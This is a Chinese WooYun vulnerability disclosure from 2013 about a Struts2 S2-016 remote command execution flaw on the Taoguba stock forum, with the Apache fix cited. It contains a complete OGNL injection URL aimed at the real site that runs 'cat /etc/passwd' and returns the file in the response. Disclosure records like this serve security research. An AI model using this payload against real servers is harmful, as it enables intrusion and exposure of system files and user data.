当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-030582

漏洞标题:淘股网struts2任意命令执行漏洞一枚

相关厂商:淘股吧

漏洞作者: 日月星辰

提交时间:2013-07-18 12:50

修复时间:2013-09-01 12:51

公开时间:2013-09-01 12:51

漏洞类型:命令执行

危害等级:中

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-18: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-09-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

struts 2 远程命令执行 能泄露大量淘股网股民信息等

详细说明:

taogun.jpg


http://www.taoguba.com.cn/index.action?redirect:${%23s%3dnew%20java.util.ArrayList%28%29,%23x%3dnew%20java.lang.String%28%22cat%22%29,%23xx%3dnew%20java.lang.String%28%22/etc/passwd%22%29,%23s.add%28%23x%29,%23s.add%28%23xx%29,%23a%3dnew%20java.lang.ProcessBuilder%28%23s%29.start%28%29.getInputStream%28%29,%23b%3dnew%20java.io.InputStreamReader%28%23a%29,%23c%3dnew%20java.io.BufferedReader%28%23b%29,%23d%3dnew%20char[51020],%23c.read%28%23d%29,%23dddddd%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23dddddd.println%28%23d%29,%23dddddd.close%28%29}

漏洞证明:

修复方案:

DefaultActionMapper was changed to sanitize “action:”-prefixed information properly. The features involved with “redirect:”/”redirectAction:”-prefixed parameters were completely dropped – see also S2-017.

官方说明:http://struts.apache.org/release/2.3.x/docs/s2-016.html

版权声明:转载请注明来源 日月星辰@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2013-07-20 00:16 | 日月星辰 ( 路人 | Rank:20 漏洞数:10 | 关注于网络安全,贡献于网络安全,立志成为...)

    第一次提洞洞,大家支持支持!